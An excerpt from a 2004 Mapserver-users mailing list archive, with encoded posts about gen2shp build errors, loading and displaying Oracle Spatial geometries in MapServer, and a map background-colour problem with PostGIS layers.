filename="=?ISO-8859-1?Q?M=F6ri_C=E9dric=2Evcf?=" BEGIN:VCARD VERSION:2.1 N:M=F6ri;C=E9dric FN:M=F6ri C=E9dric ORG:Bau- Departement;Amt f=FCr Raumplanung ADR;WORK:;;;Solothurn LABEL;WORK:Solothurn EMAIL;PREF;INTERNET:Cedric.Moeri at bd.so.ch REV:20020605T094013Z END:VCARD ------_=_NextPart_000_01C40FF8.4F464D90-- From pramila at darya.nio.org Mon Mar 22 03:38:05 2004 From: pramila at darya.nio.org (Pramila R Gawas) Date: Mon, 22 Mar 2004 17:08:05 +0530 Subject: [Mapserver-users] shapefile conversion Message-ID: <405ED01D.8050806@darya.nio.org> Is there any method of converting txt file to shp, shx, dbf. I downloaded gen2shp programme., but when i tried running the proramme with make command, it's giving me the error cc -o gen2shp -lshp gen2shp.c utils.o /usr/bin/ld: cannot find -lshp collect2: ld returned 1 exit status make: *** [gen2shp] Error 1 please help Thanks From potocny at espace.cz Mon Mar 22 03:53:35 2004 From: potocny at espace.cz (Jiri Potocny) Date: Mon, 22 Mar 2004 12:53:35 +0100 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial References: <007a01c40c38$100ff680$bc03a8c0@twoflower> <405886EC.2040902@inf.univali.br> <00d901c40cec$c7869e40$bc03a8c0@twoflower> <4059E025.9030606@inf.univali.br> Message-ID: <007301c41004$b3daefc0$bc03a8c0@twoflower> This is a multi-part message in MIME format. ------=_NextPart_000_0070_01C4100C.B016C230 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Ferando, thank you very much, your hints were extremaly helpful. I was using = gtype 3007. It was pretty easy to switch from 3D to 2D, since I didn't = use z-coord (in fact it was always 0). So, now I've got gtype 20xx. Regarding the conversion to SDO. I do not use ArcGIS neither conversion = utility shp2sdo. I read geometries from text file (it's a proprietary = format called VTX used just in our country) and creating CSV file for = Oracle SQLLDR utility. Then I execute: SQLLDR UMN/UMN at KATASTER CONTROL=3DPARCELS.CTL = LOG=3DLOG\PARCELS.LOG The example of control file (PARCELS.CTL): LOAD DATA=20 INFILE 'PARCELS.DAT' APPEND INTO TABLE PARCELS FIELDS TERMINATED BY '|' OPTIONALLY ENCLOSED BY '"'=20 TRAILING NULLCOLS=20 (=20 GR_ID,=20 NUM,=20 BOUNDARY COLUMN OBJECT=20 ( sdo_gtype INTEGER EXTERNAL,=20 sdo_srid INTEGER EXTERNAL,=20 isnull FILLER CHAR,=20 SDO_POINT COLUMN OBJECT NULLIF BOUNDARY.isnull=3D"pt"=20 ( X INTEGER EXTERNAL,=20 Y INTEGER EXTERNAL,=20 Z INTEGER EXTERNAL),=20 SDO_ELEM_INFO VARRAY terminated by ';'=20 (SDO_ORDINATES char(38)),=20 SDO_ORDINATES VARRAY terminated by ':'=20 (SDO_ORDINATES char(38))) ,=20 STATUS ) The example of data file (PARCELS.DAT): 1|"00001001_"|2007| = |pt||||1|1003|1|;-550000|-1280000|-550010|-1280000|-550010|-1280010|-5500= 00|-1280010|-550000|-1280000|:1| 2|"00001002_"|2007| = |pt||||1|1003|1|;-550010|-1280000|-550020|-1280000|-550020|-1280010|-5500= 10|-1280010|-550010|-1280000|:1| Thank you for helping me, Jirka ----- Original MDessage -----=20 From: Fernando S.=20 To: Jiri Potocny ; mapserver-users at lists.gis.umn.edu=20 Sent: Thursday, March 18, 2004 6:45 PM Subject: Re: [Mapserver-users] Unable to display data stored in Oracle = Spatial Jiri, I believe that you need a quickly report. Well, if you execute a = CGI call to mapserv, what's happen? Can you see any image with db data? Try to execute the same query in SQLPLUS, SELECT BOUNDARY FROM = PARCELS. What the sqplus report? Can you report one complete line that = sql report? Like this:=20 SQL> select shape from cola_markets; SHAPE(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), SDO_ELEM_INFO, = SDO_ORDINATES) = -------------------------------------------------------------------------= ------- SDO_GEOMETRY(2003, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1003, 3), = SDO_ORDINATE_ARR AY(1, 1, 5, 7)) What kind of geometry report? 2003?, 3003? If it's report 300X, = this is the problem, when you import the data using loader, it import = with type 300X (if you have this type of shape), the mapserv can't show = this type. Only 100x or 200x. When you convert your shape to sdo, what command you execute? I = use this ( I didn't use SRID in this example):=20 shp2sdo.exe -o -g -d -x = (-180,180) -y (-90,90) -v And after don't forget to execute this function (select = sdo_tune.extent_of('table with geometry_column', 'geometry_columns') = from dual;)=20 =20 Well, here we developer one project tha use all of informations, = (user datas, shapes, user points) from Oracle. Look in this link = (http://g10novo.cttmar.univali.br/gtznovo/principal.php). If you need some help, you can report me. = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=20 Fernando Simon - simon at cttmar.univali.br=20 = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=20 DataBase Manager, Mapserver, OracleSpatial and PostGis Developer=20 G10 - Laborat=F3rio de Computa=E7ao Aplicada=20 Fone: 047 - 341 7960=20 http://g10.cttmar.univali.br=20 = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Jiri Potocny wrote:=20 Fernando, thank you for your hints. I used Oracle SQL loader utility to import the data: SQLLDR uid/pwd at srvcname control=3Dparcely log=3Dparcely.log The data were stored in comma separated value text file in the format = like this: 4|777777||"1"|1|3007| |pt||||1|1003|1|;-554984,87|-1285550,04|0|-554998,75|-1285529,3200000001|= 0|- 555001,98999999999|-1285530,8100000001|0|-554984,87|-1285550,04|0|:1|02/1= 3/2 004 00:00:00|| Anyway, I tried to execute SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN '), but the problem remains. Regards, Jirka P.S. Your English is perfect enough for this purposes, no need to appologize. ----- Original Message ----- From: Fernando S. To: Jiri Potocny ; mapserver-users at lists.gis.umn.edu Sent: Wednesday, March 17, 2004 6:12 PM Subject: Re: [Mapserver-users] Unable to display data stored in Oracle Spatial Hi Jiri, I don't know if I can help you. But I will try. I need to do some questions to help you: How you imported the data to Oracle? Using shp2sdo? If yes, after you imported the data, did you = execute this function: SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN '); If you create a table with geometry columns, and populate it, = and try show it in the mapserv? It appeared in the image? I don't know if I help you, sorry my poor english. If you need some help, you can report me. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fernando Simon - simon at cttmar.univali.br =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat=F3rio de Computa=E7ao Aplicada Fone: 047 - 341 7960 http://g10.cttmar.univali.br =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Jiri Potocny wrote: Dear MapServer experts, could you please help me with following problem? I'm trying to display data strored in Oracle Spatial, but I allways get = a blank map. The map file is as follows: MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 IMAGECOLOR 255 255 255 LAYER NAME parcels DUMP TRUE STATUS DEFAULT TYPE POLYGON CONNECTIONTYPE oraclespatial CONNECTION username/password at netservisname DATA "BOUNDARY FROM PARCELS" CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END If I export the data from oracle into the shapefile and use following = map file, everything is O.K. MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 SHAPEPATH "data" IMAGECOLOR 255 255 255 LAYER NAME parcely DUMP TRUE STATUS DEFAULT TYPE POLYGON DATA PARCELS CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END The only difference is in the data source, the data (attributes as well = as geometries) are the same. I'm running MapServer 4.0.1 with Oracle = Spatial support (downloaded from http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP = 3. Could anybody get throught this problem. Much appreciated, Jirka _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users =20 ------=_NextPart_000_0070_01C4100C.B016C230 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Ferando,
 
thank you very much, your hints = were extremaly=20 helpful. I was using gtype 3007. It was pretty easy to switch = from 3D=20 to 2D, since I didn't use z-coord (in fact it was always 0). So, now=20 I've got gtype 20xx.
 
Regarding the conversion to SDO. I do = not=20 use ArcGIS neither conversion utility shp2sdo. I read geometries = from text=20 file (it's a proprietary format called VTX used just in our = country) and=20 creating CSV file for Oracle SQLLDR utility.
 
Then I execute:
SQLLDR  UMN/UMN at KATASTER=20 CONTROL=3DPARCELS.CTL        =20 LOG=3DLOG\PARCELS.LOG
The example of control file=20 (PARCELS.CTL):
LOAD DATA
INFILE=20 'PARCELS.DAT'
APPEND INTO TABLE PARCELS
FIELDS TERMINATED BY '|' = OPTIONALLY ENCLOSED BY '"'
TRAILING NULLCOLS
(
  = GR_ID,=20
  NUM,
  BOUNDARY COLUMN OBJECT
  ( = sdo_gtype=20 INTEGER EXTERNAL,
    sdo_srid INTEGER EXTERNAL,=20
     isnull FILLER CHAR, =
   =20 SDO_POINT COLUMN OBJECT  NULLIF BOUNDARY.isnull=3D"pt"=20
    ( X INTEGER EXTERNAL,=20
      Y INTEGER EXTERNAL,=20
      Z INTEGER EXTERNAL), =
   =20 SDO_ELEM_INFO VARRAY terminated by ';' =
     =20 (SDO_ORDINATES char(38)),
    SDO_ORDINATES VARRAY=20 terminated by ':'
      (SDO_ORDINATES = char(38)))=20 ,
  STATUS
)
The example of data file=20 (PARCELS.DAT):
1|"00001001_"|2007|=20 = |pt||||1|1003|1|;-550000|-1280000|-550010|-1280000|-550010|-1280010|-5500= 00|-1280010|-550000|-1280000|:1|
2|"00001002_"|2007|=20 = |pt||||1|1003|1|;-550010|-1280000|-550020|-1280000|-550020|-1280010|-5500= 10|-1280010|-550010|-1280000|:1|
 
Thank you for helping me,
Jirka
 
 
----- Original MDessage -----
From:=20 Fernando=20 S.
To: Jiri Potocny ; mapserver-users at lists.g= is.umn.edu=20
Sent: Thursday, March 18, 2004 = 6:45=20 PM
Subject: Re: [Mapserver-users] = Unable to=20 display data stored in Oracle Spatial

Jiri,
    I believe that = you need a=20 quickly report. Well, if you execute a CGI call to mapserv, what's = happen? Can=20 you see any image with db data?
    Try to execute = the same=20 query in SQLPLUS, SELECT BOUNDARY FROM PARCELS. What the sqplus = report? Can=20 you report one complete line that sql report? Like this: =

SQL>=20 select shape from cola_markets;

SHAPE(SDO_GTYPE, SDO_SRID, = SDO_POINT(X,=20 Y, Z), SDO_ELEM_INFO,=20 = SDO_ORDINATES)
-------------------------------------------------------= -------------------------
SDO_GEOMETRY(2003,=20 NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1003, 3), SDO_ORDINATE_ARR
AY(1, = 1, 5,=20 7))

    What kind of geometry report? 2003?, = 3003? If=20 it's report 300X, this is the problem, when you import the data using = loader,=20 it import with type 300X (if you have this type of shape), the mapserv = can't=20 show this type. Only 100x or 200x.
     When = you=20 convert your shape to sdo, what command you execute? I use this ( I = didn't use=20 SRID in this example):
        = shp2sdo.exe=20 -o <SHAPE> <TABLE> -g <GEOMETRY_COLUMNS> -d -x = (-180,180) -y=20 (-90,90) -v
    And after don't forget to execute = this=20 function (select sdo_tune.extent_of('table with geometry_column',=20 'geometry_columns') from dual;)
 
    Well, = here we=20 developer one project tha use all of informations, (user datas, = shapes, user=20 points) from Oracle. Look in this link (http://g1= 0novo.cttmar.univali.br/gtznovo/principal.php).


 &nbs= p; =20 If you need some help, you can report me.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=20
Fernando Simon - simon at cttmar.univali.br=20 =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=20
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer =
G10 -=20 Laborat=F3rio de Computa=E7ão Aplicada
Fone: 047 - 341 7960 =
http://g10.cttmar.univali.br = =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<= BR>Jiri=20 Potocny wrote:=20 
Fernando,

thank you for your hints.

I used Oracle SQL loader utility to import the data:
SQLLDR  uid/pwd at srvcname control=3Dparcely log=3Dparcely.log
The data were stored in comma separated value text file in the format =
like
this:
4|777777||"1"|1|3007|
|pt||||1|1003|1|;-554984,87|-1285550,04|0|-554998,75|-1285529,3200000001|=
0|-
555001,98999999999|-1285530,8100000001|0|-554984,87|-1285550,04|0|:1|02/1=
3/2
004 00:00:00||

Anyway, I tried to execute SDO_MIGRATE.TO_CURRENT(' TABLE ','
GEOMETRY_COLUMN '), but the problem remains.

Regards,
Jirka

P.S. Your English is perfect enough for this purposes, no need to
appologize.

----- Original Message -----
From: Fernando S.
To: Jiri Potocny ; mapserver-users at lists.g=
is.umn.edu
Sent: Wednesday, March 17, 2004 6:12 PM
Subject: Re: [Mapserver-users] Unable to display data stored in Oracle
Spatial


Hi Jiri,
    I don't know if I can help you. But I will try.
    I need to do some questions to help you:
        How you imported the data to Oracle?
        Using shp2sdo? If yes, after you imported the data, did you =
execute
this function:
            SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN ');
         If you create a table with geometry columns, and populate it, =
and
try show it in the mapserv? It appeared in the image?

    I don't know if I help you, sorry my poor english.
    If you need some help, you can report me.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Fernando Simon - simon at cttmar.univali.br
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laborat=F3rio de Computa=E7ao Aplicada
Fone: 047 - 341 7960
http://g10.cttmar.univali.br
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Jiri Potocny wrote:
Dear MapServer experts,

could you please help me with following problem?

I'm trying to display data strored in Oracle Spatial, but I allways get =
a
blank map.
The map file is as follows:

MAP
  IMAGETYPE      PNG
  EXTENT -551051 -1288960 -548185 -1286773
  SIZE           800 600
  IMAGECOLOR     255 255 255

  LAYER
    NAME           parcels
    DUMP           TRUE
    STATUS         DEFAULT
    TYPE           POLYGON

    CONNECTIONTYPE oraclespatial
    CONNECTION     username/password at netservisname
    DATA           "BOUNDARY FROM PARCELS"

    CLASS
      COLOR        232 232 232
      OUTLINECOLOR 32 32 32
    END
  END

END

If I export the data from oracle into the shapefile and use following =
map
file, everything is O.K.

MAP
  IMAGETYPE      PNG
  EXTENT -551051 -1288960 -548185 -1286773
  SIZE           800 600
  SHAPEPATH      "data"
  IMAGECOLOR     255 255 255

  LAYER
    NAME           parcely
    DUMP           TRUE
    STATUS         DEFAULT
    TYPE           POLYGON
    DATA          PARCELS

    CLASS
      COLOR        232 232 232
      OUTLINECOLOR 32 32 32
    END
  END

END

The only difference is in the data source, the data (attributes as well =
as
geometries) are the same. I'm running MapServer 4.0.1 with Oracle =
Spatial
support (downloaded from
http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) =
and
Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP =
3.

Could anybody get throught this problem.

Much appreciated,
Jirka

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.g=
is.umn.edu
http:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.g=
is.umn.edu
http:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users

------=_NextPart_000_0070_01C4100C.B016C230-- From potocny at espace.cz Mon Mar 22 04:07:21 2004 From: potocny at espace.cz (Jiri Potocny) Date: Mon, 22 Mar 2004 13:07:21 +0100 Subject: [Mapserver-users] Unable to display points from Oracle Spatial Message-ID: <009a01c41006$3d310f10$bc03a8c0@twoflower> This is a multi-part message in MIME format. ------=_NextPart_000_0097_01C4100E.9C412C80 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Dear All, I'm trying to display polygons and points stored in Oracle Spatial. I = succeeded to display polygons, but failed to display points. Could = anybody help me to sort this problem out? Sample data from the table containing point geometries: GR_ID SYMBOL ---------- ---------- NODE(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), SDO_ELEM_INFO, = SDO_ORDINATES) = -------------------------------------------------------------------------= -------------------------------------------------------------------------= ---- 1 1501000040 SDO_GEOMETRY(2001, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 0, 6000, 4, 1, = 1), SDO_ORDINATE_ARRAY(1, 0, 0, -550006, -1280004)) 2 1501000432 SDO_GEOMETRY(2001, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 0, 6000, 4, 1, = 1), SDO_ORDINATE_ARRAY(1, 0, 0, -550016, -1280004)) 3 1201000023 SDO_GEOMETRY(2001, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 0, 6000, 4, 1, = 1), SDO_ORDINATE_ARRAY(,157142295, ,987575971, 0, -550004, -1280009)) Used map file: # First test of UMN Map Server on Oracle Spatial MAP NAME "UMNORA1" STATUS ON SIZE 800 600 EXTENT -550022 -1280012 -549998 -1279998 UNITS METERS IMAGECOLOR 255 255 255 FONTSET "fonts/fonts.list" IMAGETYPE PNG # Projection definition PROJECTION "init=3Depsg:4818" =20 END # Symbol definitions SYMBOL NAME "circle" TYPE ELLIPSE POINTS 1 1 END FILLED TRUE END # Web interface definition WEB LOG "/inetpub/wwwroot/tmp/_OraTest.log" END # Start of layer definitions LAYER NAME "parcels" TYPE POLYGON STATUS DEFAULT CONNECTIONTYPE oraclespatial CONNECTION "umn/umn at kataster" DUMP TRUE DATA "BOUNDARY from GRPARCELS" PROJECTION "init=3Depsg:4818" =20 END CLASS OUTLINECOLOR 0 0 0 END END LAYER NAME "symboly" TYPE POINT STATUS DEFAULT CONNECTIONTYPE oraclespatial CONNECTION "umn/umn at kataster" DUMP TRUE DATA "NODE from GRSYMBOLS" PROJECTION "init=3Depsg:4818" =20 END CLASS NAME "Symboly" STYLE COLOR 255 0 0 SYMBOL "circle" SIZE 10 END END END END Much appreciated, Jirka ------=_NextPart_000_0097_01C4100E.9C412C80 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Dear All,
 
I'm trying to display polygons and = points stored in=20 Oracle Spatial. I succeeded to display polygons, but failed to display = points.=20 Could anybody help me to sort this problem out?
 
Sample data from the table = containing point=20 geometries:
    =20 GR_ID     SYMBOL
----------=20 ----------
NODE(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), = SDO_ELEM_INFO,=20 = SDO_ORDINATES)
-------------------------------------------------------= -------------------------------------------------------------------------= ----------------------
        = ;=20 1 1501000040
SDO_GEOMETRY(2001, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, = 0, 6000,=20 4, 1, 1), SDO_ORDINATE_ARRAY(1, 0, 0, -550006, -1280004))
 
         2=20 1501000432
SDO_GEOMETRY(2001, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 0, = 6000,=20 4, 1, 1), SDO_ORDINATE_ARRAY(1, 0, 0, -550016, -1280004))
 
         3=20 1201000023
SDO_GEOMETRY(2001, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 0, = 6000,=20 4, 1, 1), SDO_ORDINATE_ARRAY(,157142295, ,987575971, 0, -550004,=20 -1280009))
Used map file:

# First test of UMN Map = Server on=20 Oracle Spatial
MAP
  = NAME       =20 "UMNORA1"
  STATUS      ON
 =20 SIZE        800 600
 =20 EXTENT      -550022 -1280012 -549998=20 -1279998
  UNITS       = METERS
 =20 IMAGECOLOR  255 255 255
  FONTSET     = "fonts/fonts.list"
 
  IMAGETYPE  =20 PNG
 
  # Projection = definition
 =20 PROJECTION
    "init=3Depsg:4818" 
 =20 END
 
  # Symbol = definitions
 =20 SYMBOL
    NAME "circle"
    TYPE=20 ELLIPSE
    POINTS 1 1 END
    = FILLED=20 TRUE
  END
 
  # Web interface=20 definition
  WEB
    LOG=20 "/inetpub/wwwroot/tmp/_OraTest.log"
  END
 
  # Start of layer=20 definitions
  LAYER
    NAME=20 "parcels"
    TYPE POLYGON
    = STATUS=20 DEFAULT
    CONNECTIONTYPE=20 oraclespatial
    CONNECTION "umn/umn at kataster"
    DUMP TRUE
    DATA = "BOUNDARY=20 from GRPARCELS"
 
   =20 PROJECTION
      "init=3Depsg:4818" =20
    END
 
   =20 CLASS
      OUTLINECOLOR 0 0=20 0
    END
  END
 
  = LAYER
    NAME=20 "symboly"
    TYPE POINT
    = STATUS=20 DEFAULT
    CONNECTIONTYPE=20 oraclespatial
    CONNECTION "umn/umn at kataster"
    DUMP TRUE
    DATA = "NODE from=20 GRSYMBOLS"
   =20 PROJECTION
      "init=3Depsg:4818" =20
    END
 
   =20 CLASS
      NAME=20 "Symboly"
     =20 STYLE
        COLOR  255 0=20 0
        SYMBOL=20 "circle"
        SIZE=20 10
      END
   =20 END
  END
 
END
 
Much appreciated,
Jirka
------=_NextPart_000_0097_01C4100E.9C412C80-- From stephane.riff at cerene.fr Mon Mar 22 05:11:44 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Mon, 22 Mar 2004 14:11:44 +0100 Subject: [Mapserver-users] map background color problem Message-ID: <405EE610.1070905@cerene.fr> My background color change when i change the status on one layer to OFF, it's restored when i turn back the layer statsus to ON... I don't see anything wrong : mapserver 3.6.6 , php 4.3.4, postgis 0.7.5, apache 1.3.29 Here is my .map file : the layer which made problem is : "Numero_Departements" # # Start of map file # NAME CRN STATUS ON SIZE 600 600 EXTENT 47673.624 1616618.5 1197873.624 2677218.5 UNITS METERS SHAPEPATH "../data" IMAGECOLOR 80 80 80 TRANSPARENT OFF SYMBOLSET "../symbols/symbols.sym" FONTSET "../fonts/font.list" IMAGETYPE PNG # # Start of web interface definition # WEB MINSCALE 5000 MAXSCALE 100000000 IMAGEPATH "/var/mapserver/www/tmp/" IMAGEURL "/tmp/" #ERROR "/mapServ/error.html" METADATA WMS_SRS "EPSG:27582" END END QUERYMAP SIZE -1 -1 STATUS ON STYLE HILITE COLOR 255 255 0 END # # Start of reference map # REFERENCE STATUS ON EXTENT -2646.55843466 1564942.61318 1257407.47103 2722306.80918 IMAGE ../img/nrefmap.png SIZE 115 106 OUTLINECOLOR 0 0 255 COLOR -1 -1 -1 END # # Start of legend # LEGEND STATUS ON KEYSIZE 18 12 END # # Start of scalebar # SCALEBAR IMAGECOLOR 80 80 80 LABEL COLOR 255 255 255 SIZE tiny END STYLE 1 SIZE 600 2 COLOR 255 255 255 UNITS KILOMETERS INTERVALS 6 TRANSPARENT FALSE STATUS ON END # # Start of layer definitions # LAYER NAME "250000" TILEINDEX "250000" TILEITEM "LOCATION" TYPE RASTER STATUS OFF OFFSITE 0 MAXSCALE 500000 GROUP "Images" CLASS NAME "Fond Raster 250000" END METADATA LYRNAME "250000" WMS_SRS "EPSG:27582" QUERYING_FILEDS "" WMS_ORDER "0" END END LAYER CONNECTIONTYPE postgis NAME "Contour_France" CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourfrance" TYPE LINE STATUS ON GROUP "Contour" HEADER blank.html FOOTER blank.html CLASS NAME "Contour_France" SYMBOL "dashline" COLOR 0 153 255 SIZE 3 END METADATA LYRNAME "France" TABLE_NAME "giscontourfrance" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "1" END END LAYER CONNECTIONTYPE postgis NAME "Contour_Departements" CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourdepartement" TYPE LINE STATUS ON MAXSCALE 100000000 MINSCALE 450000 GROUP "Contour" HEADER blank.html FOOTER blank.html CLASS NAME "Contour_Departements" COLOR 255 128 64 END METADATA LYRNAME "D?partements" TABLE_NAME "giscontourdepartement" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "2" END END LAYER CONNECTIONTYPE postgis CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourcommune" NAME "Contour_Communes" TYPE POLYGON STATUS ON MINSCALE 5000 MAXSCALE 450000 GROUP "Contour" HEADER "blank.html" FOOTER "blank.html" LABELITEM "nom_comm" CLASS NAME "Contour_Communes" OUTLINECOLOR 250 194 5 SIZE 4 SYMBOL "dashline" LABEL TYPE TRUETYPE FONT "Arialbd" buffer 1 outlinecolor 255 255 255 COLOR 0 0 255 POSITION CC SIZE 10 END END METADATA LYRNAME "Communes" TABLE_NAME "giscontourcommune" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "3" END END LAYER CONNECTIONTYPE postgis CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from gistxtdepartement" NAME "Numero_Departements" TYPE POINT STATUS ON MAXSCALE 100000000 MINSCALE 450000 GROUP "Texte" LABELITEM "textstring" HEADER blank.html FOOTER blank.html CLASS NAME "Numero_Departements" COLOR 244 190 80 SIZE 8 SYMBOL "point1" LABEL TYPE TRUETYPE FONT "Arialbd" BUFFER 1 outlinecolor 255 255 0 COLOR 255 0 0 POSITION CC SIZE 8 PARTIALS TRUE FORCE TRUE END END METADATA LYRNAME "N? de D?partements" TABLE_NAME "gistxtdepartement" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "5" END END LAYER CONNECTIONTYPE postgis NAME "Affaires" CONNECTION "host=localhost dbname=budgeo port=5432 user=nobody" DATA "the_geom from gestion" TYPE POINT STATUS ON GROUP "Budgeo" HEADER blank.html FOOTER blank.html SYMBOLSCALE 450000 CLASS NAME 